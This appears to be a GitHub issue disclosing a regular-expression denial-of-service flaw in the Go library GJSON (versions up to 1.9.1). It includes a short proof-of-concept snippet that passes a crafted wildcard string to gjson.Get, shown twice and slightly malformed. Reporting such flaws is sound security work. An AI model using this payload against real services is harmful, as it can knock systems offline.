gjson.Get can cause DoS attacks. GJSON <= 1.9.1 allows attackers to cause a redos via crafted JSON input. #236
Description
func main() {
testJson := #[%"*?**?**?**?**?**?***?**?**?**?**?*"""]
gjson.Get(testJson, testJson)
}
{{ message }}
func main() {
testJson := #[%"*?**?**?**?**?**?***?**?**?**?**?*"""]
gjson.Get(testJson, testJson)
}